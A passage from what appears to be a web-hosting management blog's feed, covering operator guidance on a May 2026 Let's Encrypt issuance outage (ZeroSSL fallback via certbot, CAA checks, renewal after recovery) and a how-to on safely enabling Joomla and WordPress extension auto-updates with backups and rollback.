&lt;p&gt;If your alert window is set at the default two days, push it out for the duration of the incident. We’d rather over-alert and have you ignore a few than under-alert and miss the one site that mattered. The alert window is configurable per site.&lt;/p&gt;
&lt;p&gt;Export the list to CSV from the same screen if you want to share it with a co-worker or work the priority queue offline.&lt;/p&gt;
&lt;h2&gt;How Do I Renew an SSL Certificate When Let’s Encrypt Is Down?&lt;/h2&gt;
&lt;p&gt;If you have a cert that needs to renew before Let’s Encrypt is back, there are three options that actually work.&lt;/p&gt;
&lt;p&gt;The first is to switch your ACME client to ZeroSSL. ZeroSSL speaks ACME, issues free 90-day DV certificates, supports wildcards on the free tier, and is the most widely-used drop-in for Let’s Encrypt during incidents like today’s. It requires External Account Binding (EAB), which is a one-time pairing step: log into &lt;a href=&quot;https://app.zerossl.com/developer&quot;&gt;ZeroSSL Developer&lt;/a&gt;, click “Generate” under EAB Credentials for ACME, and copy the two strings it gives you (a KID and an HMAC key). The KID is short. The HMAC key is a longer base64 string. You only generate them once per account and reuse them for every certbot run.&lt;/p&gt;
&lt;p&gt;For certbot, the switch looks roughly like the example below. &lt;strong&gt;This is illustrative, not copy-and-paste.&lt;/strong&gt; Replace the placeholders with your real EAB credentials, your webroot path, and your domain names before running it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;# EXAMPLE - swap placeholders for real values before running&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;certbot&lt;/span&gt;&lt;span&gt; certonly&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  --server&lt;/span&gt;&lt;span&gt; https://acme.zerossl.com/v2/DV90&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  --eab-kid&lt;/span&gt;&lt;span&gt; PASTE_YOUR_EAB_KID_FROM_ZEROSSL_DASHBOARD&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  --eab-hmac-key&lt;/span&gt;&lt;span&gt; PASTE_YOUR_EAB_HMAC_FROM_ZEROSSL_DASHBOARD&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  --webroot&lt;/span&gt;&lt;span&gt; -w&lt;/span&gt;&lt;span&gt; /var/www/html&lt;/span&gt;&lt;span&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;  -d&lt;/span&gt;&lt;span&gt; example.com&lt;/span&gt;&lt;span&gt; -d&lt;/span&gt;&lt;span&gt; www.example.com&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;--eab-kid&lt;/code&gt; and &lt;code&gt;--eab-hmac-key&lt;/code&gt; come from the ZeroSSL EAB credentials screen. &lt;code&gt;-w&lt;/code&gt; is the webroot path that serves files for &lt;code&gt;example.com&lt;/code&gt; (whatever directory &lt;code&gt;/.well-known/acme-challenge/&lt;/code&gt; is reachable from on your host). &lt;code&gt;-d&lt;/code&gt; lists every name you want on the cert.&lt;/p&gt;
&lt;p&gt;Two caveats. If you have CAA DNS records pinning issuance to &lt;code&gt;letsencrypt.org&lt;/code&gt;, ZeroSSL’s challenge will fail until you add or replace the CAA record. And every CA has its own rate limits, so don’t try to migrate hundreds of sites in one batch. A handful of high-priority renewals is the right scope during a short outage.&lt;/p&gt;
&lt;p&gt;The second option is a paid cert as a stopgap. DigiCert, Sectigo, GlobalSign, Namecheap and Google Trust Services all issue paid 1-year DV certs for somewhere between $5 and $50 with same-day turnaround. Not elegant, but if a flagship site is hours from expiry and you need certainty today, this is the option that delivers it. Replace it with Let’s Encrypt once issuance resumes.&lt;/p&gt;
&lt;p&gt;The third option is to wait. For most sites that’s the right answer. Let’s Encrypt outages have historically resolved in hours, not days. Default 90-day certs renewing at day 30 have a 30-day cushion. Unless you’re on shortlived certs or you’re already inside the 14-day red zone, waiting is fine.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;If your renewal cron is going to retry every hour for the next week regardless of whether it succeeds, you do not need to do anything special during the outage. The retry will eventually succeed. The risk is the silent-fail case where the cron logs an error and no one reads the log.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Let’s Encrypt Alternatives for Free SSL Certs&lt;/h2&gt;
&lt;p&gt;If you want a free Let’s Encrypt alternative for the affected sites today, the realistic answer is &lt;a href=&quot;https://zerossl.com/&quot;&gt;ZeroSSL&lt;/a&gt;. It’s free, it speaks ACME, it issues 90-day DV certificates with wildcard support on the free tier, and it’s the most widely-used drop-in when Let’s Encrypt is unavailable.&lt;/p&gt;
&lt;p&gt;A few details worth knowing before you switch.&lt;/p&gt;
&lt;p&gt;ZeroSSL requires External Account Binding (EAB) on its ACME endpoint. EAB is a one-time pairing step: log into &lt;a href=&quot;https://app.zerossl.com/developer&quot;&gt;ZeroSSL Developer&lt;/a&gt;, generate EAB credentials for ACME, and pass the resulting KID and HMAC key to certbot, acme.sh, Caddy or whichever ACME client you use. We have a worked certbot example in the previous section.&lt;/p&gt;
&lt;p&gt;CAA records will block ZeroSSL until you fix them. Run &lt;code&gt;dig CAA your-domain.com&lt;/code&gt; first. If you see &lt;code&gt;issue &quot;letsencrypt.org&quot;&lt;/code&gt;, that record is telling every CA &lt;em&gt;except&lt;/em&gt; Let’s Encrypt to reject issuance. Either remove it or add &lt;code&gt;issue &quot;sectigo.com&quot;&lt;/code&gt; (ZeroSSL’s underlying root is Sectigo) before you run the renewal. CAA changes propagate at DNS speed, which is usually minutes, but plan that step first.&lt;/p&gt;
&lt;p&gt;Free-tier rate limits exist and aren’t fully published. ZeroSSL has documented 429 issues on multi-SAN HTTP-01 issuance under cert-manager, which is fine for the handful of urgent renewals you’re doing during an outage but not something to rely on as a primary portfolio-wide CA. Move the few sites that need to renew today, leave the rest on Let’s Encrypt’s renewal cron to retry once issuance resumes.&lt;/p&gt;
&lt;p&gt;One historical aside, in case older guides bring it up: Buypass Go SSL used to be the other go-to free ACME alternative. It &lt;a href=&quot;https://www.buypass.com/products/tls-ssl-certificates/discontinues-issuance-of-tls-ssl-certificates&quot;&gt;discontinued issuance on 2025-10-15&lt;/a&gt; and shut down its ACME endpoint on 2026-04-15. Any tutorial pointing at &lt;code&gt;api.buypass.com/acme/directory&lt;/code&gt; is now stale. ZeroSSL is the live recommendation.&lt;/p&gt;
&lt;h2&gt;Short Certificate Lifetimes Amplify Outages&lt;/h2&gt;
&lt;p&gt;Let’s Encrypt’s &lt;a href=&quot;https://letsencrypt.org/2015/11/09/why-90-days&quot;&gt;original 90-day rationale from 2015&lt;/a&gt; was straightforward: shorter lifetimes limit the damage of a key compromise and force operators to automate renewal. Both arguments are correct. The trade-off no one spent much time on in 2015 is that your operational margin during any CA disruption is exactly the unused portion of the certificate lifetime at the moment it starts.&lt;/p&gt;
&lt;p&gt;In December 2025 Let’s Encrypt &lt;a href=&quot;https://letsencrypt.org/2025/12/02/from-90-to-45&quot;&gt;announced its intention&lt;/a&gt; to drop the default lifetime from 90 days to 45 days by 2028. In January 2026 the &lt;a href=&quot;https://letsencrypt.org/2026/01/15/6day-and-ip-general-availability&quot;&gt;six-day shortlived profile&lt;/a&gt; reached general availability. Both moves are defensible on security grounds (shorter lifetimes do reduce compromise windows). The cost they impose is sensitivity to outages like today’s. A 90-day cert renewing at day 30 has a 30-day buffer. A 45-day cert renewing at day 15 has 15 days. A 6-day shortlived cert renewing every 2.5 days has hours.&lt;/p&gt;
&lt;p&gt;Short-lived certs aren’t bad. They’re just unforgiving. As the industry moves towards them, the cost of any single CA going down for half a day grows. Roughly 63% of all TLS-enabled sites depend on Let’s Encrypt, so the short-lifetime trend and the CA monoculture problem stack on each other. Today’s incident is a relatively cheap rehearsal. Once 6-day certs are normal and a CA goes dark for a working day, it’ll be a different conversation.&lt;/p&gt;
&lt;h2&gt;Let’s Encrypt’s Track Record on Past Incidents&lt;/h2&gt;
&lt;p&gt;A short operator memory of recent Let’s Encrypt history:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;2020-02-29: the CAA rechecking bug. A Boulder bug let CAA records be bypassed in some renewal flows. 3,048,289 certificates were flagged. Let’s Encrypt eventually decided not to revoke ~1 million of them past the deadline because doing so would have broken too much of the web. Operational scramble lasted about five days. &lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1619179&quot;&gt;Bugzilla #1619179&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;2025-07-21: complete API outage. Multi-hour total ACME API failure, postmortem dated 2025-09-02. No mass revocation, but widespread renewal failures.&lt;/li&gt;
&lt;li&gt;2025-08-06: OCSP responders shut down for good. Not an outage, but it changed the failure mode for every Let’s Encrypt incident going forward. There’s no live revocation service for browsers to fail to reach. CRLs are now the only revocation transport, and CRLs are static.&lt;/li&gt;
&lt;li&gt;2026-01-15: six-day shortlived certs GA. Increased the population of certs that are exposed to short outages.&lt;/li&gt;
&lt;li&gt;2026-05-08: this incident. Cross-signs of X2/YR by X1, and YE by X2, were issued without the now-required Extended Key Usage (EKU) fields. Issuance halted at 18:37 UTC, restored shortly after 21:00 UTC by rolling the tlsserver and shortlived profiles back to the Generation X root. About 2h 28m of pause. Postmortem published and incident formally closed on 2026-05-13 at 20:32 UTC after the cross-signs were revoked and reissued with EKUs included.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This incident sits closer to the 2025-07-21 pattern than the 2020 one: a intended halt, a fast diagnosis, a clean rollback to a known-good configuration, no mass revocation of end-entity certs. This postmortem showed unusually narrow damage - the problem was an attribute missing from intermediates, the fix was on the intermediates, and ACME Renewal Information did the heavy lifting of telling clients which leaves to re-pull. Whether Generation Y comes back next week, next month or next quarter depends on Let’s Encrypt’s confidence in the corrected cross-signs.&lt;/p&gt;
&lt;h2&gt;What Should I Do Now That Issuance Is Back?&lt;/h2&gt;
&lt;p&gt;If a renewal cron failed during the 2026-05-08 outage window, it should have retried successfully since 21:00 UTC. Most ACME clients retry on a regular cadence (certbot’s systemd timer runs twice a day, acme.sh runs daily, Caddy retries on its own backoff), so the typical case is “the next scheduled run will succeed and you don’t have to do anything”. If you want to force it, run &lt;code&gt;certbot renew&lt;/code&gt; (or your client’s equivalent) once and confirm the cert is reissued.&lt;/p&gt;
&lt;p&gt;If your sites were issued by the &lt;code&gt;tlsserver&lt;/code&gt; or &lt;code&gt;shortlived&lt;/code&gt; ACME profiles between the initial halt and the cross-sign reissue on 2026-05-13, Let’s Encrypt recommends renewing them so the chain pulls the corrected intermediate. The ACME Renewal Information (ARI) API is signalling those certs to renew now, so if your ACME client honours ARI you don’t need to do anything: the next scheduled run will see the renewal hint and act on it. If you’re on an older client that ignores ARI, run a manual renewal once and confirm the new chain is in place. To check, inspect the issued chain with &lt;code&gt;openssl s_client -connect example.com:443 -showcerts&lt;/code&gt; and look for the freshly-dated intermediate.&lt;/p&gt;
&lt;p&gt;If you manually switched a site to ZeroSSL during the outage as a stopgap, you don’t need to switch it back today. ZeroSSL’s 90-day DV cert is fine to live with until its own renewal date, at which point your normal automation will pick whatever ACME server you’ve left configured.&lt;/p&gt;
&lt;p&gt;If you ran a Generation Y-aware integration (rare, but possible if you’d been testing the new root in your own pipeline), verify that any cert issued during the incident validates against your trust store. Pinned trust to the new YR or YE roots is exactly the kind of setup that’s affected by the cross-sign repair: refresh the cross-signed intermediate in any pinning configuration so it has the new EKU.&lt;/p&gt;
&lt;p&gt;The 2026-05-08 outage was cheap. About 2h 28m of paused issuance, resolved by an internal rollback to a known-good root, no mass revocation of end-entity certs, with a clean postmortem five days later that fixed the bad intermediates without touching anyone’s leaves. The next one might not be. With shorter cert lifetimes coming and most of the web pointing at one CA, the operational margin keeps shrinking, and any operator running renewals on autopilot without expiry alerts is one bad incident away from finding out the hard way which sites mattered.&lt;/p&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://letsencrypt.status.io/&quot;&gt;Let’s Encrypt status page&lt;/a&gt;, live incident updates&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://community.letsencrypt.org/c/incidents/16&quot;&gt;Let’s Encrypt incidents category&lt;/a&gt;, official postmortems&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://letsencrypt.org/2015/11/09/why-90-days&quot;&gt;Why 90-day lifetimes? (Let’s Encrypt, 2015)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://letsencrypt.org/2025/12/02/from-90-to-45&quot;&gt;From 90 to 45: cutting default cert lifetime (Let’s Encrypt, 2025)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://letsencrypt.org/2026/01/15/6day-and-ip-general-availability&quot;&gt;Six-day and IP-address certificate GA (Let’s Encrypt, 2026)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://zerossl.com/letsencrypt-alternative/&quot;&gt;ZeroSSL ACME documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1619179&quot;&gt;Bugzilla #1619179: 2020 CAA rechecking bug&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;p&gt;The postmortem is now in: missing Extended Key Usage fields on the cross-signs, fixed by revoke-and-reissue on 2026-05-13 with ARI handling the long tail of client renewals. If you want a single view of SSL expiry across every Joomla and WordPress site you manage, the &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; is the fastest way to get one in front of you.&lt;/p&gt;</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>ssl</category><category>lets-encrypt</category><category>monitoring</category><category>security</category><category>alerts</category><category>outage</category><enclosure url="https://mysites.guru/img/og/blog/lets-encrypt-issuance-halted-2026-05-08.png" length="0" type="image/png"/></item><item><title>How to Enable Joomla Extension Auto-Updates Safely</title><link>https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/</link><guid isPermaLink="true">https://mysites.guru/blog/how-to-enable-joomla-extension-auto-updates/</guid><description>How to enable auto-updates for Joomla extensions across one site or hundreds, with backup and rollback steps that keep client sites safe if an update breaks.</description><pubDate>Thu, 07 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla 5.4 and 6.1 ship native auto-update for the CMS core, but not for extensions.&lt;/p&gt;
&lt;p&gt;If you want Akeeba Backup, Admin Tools, JCE, RegularLabs, or your own custom extensions to update on their own across one or many sites, you still need an external platform like mySites.guru driving the Joomla update API on a schedule.&lt;/p&gt;
&lt;p&gt;The trick is that an auto-update toggle on its own is the easy part. The hard part is the backup taken before the update, the &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;uptime monitoring&lt;/a&gt; that catches a regression in minutes, the email alert that names the site and the version, and the &lt;a href=&quot;https://mysites.guru/wordpress-vulnerability-scanner/&quot;&gt;vulnerability data&lt;/a&gt; that tells you whether the update was urgent in the first place. &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;mySites.guru&lt;/a&gt; wires those four together so the toggle is the last decision you make, not the first.&lt;/p&gt;
&lt;p&gt;This is a practical how-to. If you want the longer walkthrough of how the per-extension toggle and split button work in isolation, that is covered in the &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;auto-update any Joomla extension&lt;/a&gt; post. Here we focus on the steps an agency follows on day one to turn it on safely.&lt;/p&gt;
&lt;h2&gt;Prerequisites Before You Enable Auto-Updates&lt;/h2&gt;
&lt;p&gt;Three things, in order:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A connected Joomla site (or sites) in your mySites.guru account, on Joomla 4, 5, or 6.&lt;/li&gt;
&lt;li&gt;A scheduled daily backup using &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;Akeeba Backup&lt;/a&gt;, so you always have a restore point from before the auto-update ran. Optional of course but insane to run auto-updates without a backup policy.&lt;/li&gt;
&lt;li&gt;A list of extension update streams you trust enough to apply without a human in the loop.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Native Joomla still does not have an “auto-update extensions” toggle. Joomla 5.4 introduced auto-update for the CMS core itself, which most agencies &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;actually want disabled&lt;/a&gt; on client sites. The extension-side story is handled outside core.&lt;/p&gt;
&lt;h2&gt;How do you enable Joomla extension auto-update on a single site?&lt;/h2&gt;
&lt;p&gt;On the Manage Site page for any connected Joomla site, open the Updates tab. mySites.guru reads every update site stream the Joomla site reports through its standard updates API. You will see one row per stream, with the developer URL, the currently-installed version, and the available version.&lt;/p&gt;
&lt;p&gt;Click the Auto Update toggle on the row for the stream you want to automate. That stream is now checked once every 24 hours. If a new version is available for the installed extension, mySites.guru calls the Joomla updates API on your site and applies it. You receive an email with the site name, the extension, the from-version, the to-version, and the result.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru Updates tab listing extension update streams with the Auto Update toggle visible on each row&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1024px) 1024px, 100vw&quot; width=&quot;1024&quot; height=&quot;468&quot; src=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-18.08.40-1024x468.NZFsGp34_DQOH3.webp&quot; srcset=&quot;https://mysites.guru/_astro/ScreenShot-2024-02-02-18.08.40-1024x468.NZFsGp34_ZXblL7.webp 640w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.08.40-1024x468.NZFsGp34_Z17DYGJ.webp 750w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.08.40-1024x468.NZFsGp34_Z1aiuI9.webp 828w, https://mysites.guru/_astro/ScreenShot-2024-02-02-18.08.40-1024x468.NZFsGp34_DQOH3.webp 1024w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Nothing is enabled by default. Every toggle is an explicit opt-in by you, per extension, per site.&lt;/p&gt;
&lt;h2&gt;Turn Auto-Update on Across Every Site With One Click&lt;/h2&gt;
&lt;p&gt;Each Auto Update toggle has a split button. Click the dropdown next to any extension’s status pill and you get four explicit choices, the same four for every extension and for both Joomla and WordPress:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;Auto Update split-button dropdown showing four options: Enable on this site, Enable on ALL sites, Disable on this site, Disable on ALL sites&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 552px) 552px, 100vw&quot; width=&quot;552&quot; height=&quot;578&quot; src=&quot;https://mysites.guru/_astro/auto-update-split-button-dropdown.DJ0g-FLF_1r2lDq.webp&quot; srcset=&quot;https://mysites.guru/_astro/auto-update-split-button-dropdown.DJ0g-FLF_1r2lDq.webp 552w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Enable on this site&lt;/strong&gt; - turn auto-update on for this one extension on the site you are currently viewing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Enable on ALL sites&lt;/strong&gt; - turn auto-update on for this extension on every connected site that has it installed. Two clicks and Akeeba Backup is auto-updating across the portfolio.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disable on this site&lt;/strong&gt; - turn it off here, leave the rest of the portfolio alone.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Disable on ALL sites&lt;/strong&gt; - kill the auto-update for this extension everywhere it is enabled, in one action. The escape hatch when an extension stream stops being trustworthy.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That last one is the part agencies underestimate. The day a developer ships a regression in their auto-update channel, you do not want to log into 50 backends to disable the toggle one by one. One dropdown, one click, every site.&lt;/p&gt;
&lt;p&gt;This is the part that breaks down without tooling. Logging into 50 client backends to flip a per-site setting is not a workflow agencies sustain. Doing it once from a &lt;a href=&quot;https://mysites.guru/manage-multiple-joomla-sites/&quot;&gt;single dashboard&lt;/a&gt; is.&lt;/p&gt;
&lt;p&gt;The same toggle is available for the Joomla Update Component itself. If you do want core auto-updates on, you can enable that here too, but most agencies leave that off and run core updates through a controlled mass-upgrade pass instead.&lt;/p&gt;
&lt;h2&gt;WordPress Plugin Auto-Updates From the Same Dashboard&lt;/h2&gt;
&lt;p&gt;The same toggle works for WordPress plugins. WordPress has shipped first-party plugin auto-updates since 5.5, but it is per-site, in the wp-admin UI, and it gives you no portfolio view. From mySites.guru’s Manage Site page, the &lt;strong&gt;Update&lt;/strong&gt; tab on a WordPress site lists every installed plugin with the same Auto Update toggle and the same split-button “this site / all sites” choice that the Joomla side uses.&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;img alt=&quot;mySites.guru WordPress Plugin Automatic Updates UI showing per-plugin Auto Update toggles with a dropdown offering Enable on this site, Enable on ALL sites, Disable on this site, and Disable on ALL sites&quot; loading=&quot;lazy&quot; sizes=&quot;(min-width: 1600px) 1600px, 100vw&quot; width=&quot;1600&quot; height=&quot;706&quot; src=&quot;https://mysites.guru/_astro/wordpress-plugin-auto-updates-mysitesguru.BYXT8Yyl_ZDp83l.webp&quot; srcset=&quot;https://mysites.guru/_astro/wordpress-plugin-auto-updates-mysitesguru.BYXT8Yyl_ZcI5up.webp 640w, https://mysites.guru/_astro/wordpress-plugin-auto-updates-mysitesguru.BYXT8Yyl_ZVyyek.webp 750w, https://mysites.guru/_astro/wordpress-plugin-auto-updates-mysitesguru.BYXT8Yyl_Z1beI3N.webp 828w, https://mysites.guru/_astro/wordpress-plugin-auto-updates-mysitesguru.BYXT8Yyl_16G4m.webp 1080w, https://mysites.guru/_astro/wordpress-plugin-auto-updates-mysitesguru.BYXT8Yyl_Z1D1PB6.webp 1280w, https://mysites.guru/_astro/wordpress-plugin-auto-updates-mysitesguru.BYXT8Yyl_ZDp83l.webp 1600w&quot; /&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;There is one difference in what happens after you flip the toggle. On Joomla, mySites.guru runs the daily check and applies the update itself. On WordPress, the toggle switches on WordPress’s own per-plugin auto-update setting (the same one as the “Enable auto-updates” link on the wp-admin Plugins screen), and WordPress’s background updater, run by WP-Cron, applies the update on its own schedule.&lt;/p&gt;
&lt;p&gt;That matters if your sites set &lt;code&gt;DISALLOW_FILE_MODS&lt;/code&gt; to true in &lt;code&gt;wp-config.php&lt;/code&gt;, which the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/stop-plugin-installs-wordpress-admin/&quot;&gt;security audit&lt;/a&gt; recommends. WordPress switches its background updater off when that constant is set, so the toggle is saved but nothing applies the update. Manual updates pushed from the mySites.guru Updates tab still work with the constant set, so on locked-down sites that is the way to keep plugins current.&lt;/p&gt;
&lt;p&gt;So the setup works the same way whether you run a Joomla portfolio, a WordPress portfolio, or a mix:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;One UI for both CMS platforms.&lt;/strong&gt; The same toggle and the same “all sites” split button.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Per-plugin opt-in.&lt;/strong&gt; Auto Update Disabled is the default on every plugin. You decide which streams you trust per CMS.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cross-CMS portfolio view.&lt;/strong&gt; The Updates dashboard shows every site, every plugin/extension stream, and the auto-update state across both CMS platforms in one filter.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If your portfolio is mixed (most agencies’ is) this is where mySites.guru saves the most time. WordPress plugin auto-update is a wp-admin per-site checkbox; doing it portfolio-wide on 80 mixed sites without a unified UI is the workflow the platform is built to replace.&lt;/p&gt;
&lt;h2&gt;Which Joomla extensions are safe to auto-update?&lt;/h2&gt;
&lt;p&gt;Auto-update earns its place on extensions where the developer has a long track record of non-breaking releases. The four families that are auto-updated portfolio-wide most often:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Akeeba Backup and Admin Tools.&lt;/strong&gt; Backup integrity matters and Akeeba’s release cadence is stable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JCE Editor.&lt;/strong&gt; The dominant Joomla content editor, and one that shipped two &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-5-security-update/&quot;&gt;security releases in a week&lt;/a&gt;, including an unauthenticated file upload fix. Auto-update sites had both before most agencies had read the advisory.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RegularLabs.&lt;/strong&gt; Modules Anywhere, Articles Anywhere, the rest of the family.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Custom extensions you maintain yourself.&lt;/strong&gt; You set the cadence and you wrote the code.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Auto-update is a worse fit for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Page builders that touch every template render&lt;/li&gt;
&lt;li&gt;E-commerce components like VirtueMart and HikaShop where a checkout regression is a revenue regression&lt;/li&gt;
&lt;li&gt;Anything that runs database schema changes on update without a migration step you can roll back&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For those, queue a manual update through the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;bulk upgrade&lt;/a&gt; workflow on a Tuesday morning when you can watch the dashboard.&lt;/p&gt;
&lt;p&gt;WordPress folks have had plugin auto-updates for years, and we see - repeatedly - issues with page builders and ecommerce plugins auto-updating, not being noticed, and breaking sites.&lt;/p&gt;
&lt;h2&gt;How do you roll back a Joomla extension auto-update that broke a site?&lt;/h2&gt;
&lt;p&gt;The email alert names the site, the extension, and the version it was upgraded to. From there:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Restore the daily Akeeba Backup taken before the update ran.&lt;/li&gt;
&lt;li&gt;Disable the Auto Update toggle on that specific stream so the next 24-hour check does not re-apply it.&lt;/li&gt;
&lt;li&gt;Open the Joomla site, manually install the previous version of the extension if the developer keeps old releases, or stay on the restored version until the developer ships a fixed point release.&lt;/li&gt;
&lt;li&gt;If &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;uptime monitoring&lt;/a&gt; caught the regression first, the alert email and the uptime alert will both reference the same minute, which makes correlating them with the auto-update record straightforward.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The point of the daily backup is exactly this: the rollback is “restore yesterday and turn the toggle off,” not “spend a day reverse-engineering what changed”.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Note&lt;/p&gt;
  &lt;p&gt;If an extension does not implement a Joomla update site, auto-update is not an option for it. The &lt;a href=&quot;https://mysites.guru/blog/how-to-install-an-extension-to-multiple-joomla-sites-at-once/&quot;&gt;mass installer&lt;/a&gt; covers that case by letting you push a zip across many sites in one action.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Extension Auto-Update vs Joomla 5.4 Core Auto-Update&lt;/h2&gt;
&lt;p&gt;Different scopes, different mechanisms.&lt;/p&gt;
&lt;div&gt;
  &lt;table&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th&gt;Feature&lt;/th&gt;
        &lt;th&gt;Scope&lt;/th&gt;
        &lt;th&gt;Triggered by&lt;/th&gt;
        &lt;th&gt;Configured in&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;th&gt;Joomla 5.4+ core auto-update&lt;/th&gt;
        &lt;td&gt;The Joomla CMS itself&lt;/td&gt;
        &lt;td&gt;Joomla.org infrastructure release pushes new version&lt;/td&gt;
        &lt;td&gt;Joomla System → Update settings&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;th&gt;mySites.guru extension auto-update&lt;/th&gt;
        &lt;td&gt;One or many third-party extensions across one or many sites&lt;/td&gt;
        &lt;td&gt;mySites.guru&apos;s daily check against each update site URL&lt;/td&gt;
        &lt;td&gt;Updates tab on each connected site&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;
&lt;p&gt;Most agencies still &lt;a href=&quot;https://mysites.guru/blog/how-to-disable-joomla-automated-upgrades/&quot;&gt;disable Joomla core auto-updates&lt;/a&gt; on client sites - for good reason - because a silent core upgrade can interact unpredictably with extensions, templates, and &lt;a href=&quot;https://mysites.guru/blog/check-joomla-template-overrides-across-sites/&quot;&gt;overrides&lt;/a&gt; that have not yet been tested against the new version. Then they enable extension auto-updates selectively for the streams above. That gives you predictable extension currency without losing control over when the core moves.&lt;/p&gt;
&lt;h2&gt;How do I see which sites have Joomla auto-update enabled and for which extensions?&lt;/h2&gt;
&lt;p&gt;The Manage Site page has the per-site view. For a portfolio view, the Updates dashboard shows every site, every installed extension stream, and the auto-update state. You can filter by extension to answer the agency-typical question of “which sites have Akeeba Backup auto-update on, and which do not”.&lt;/p&gt;
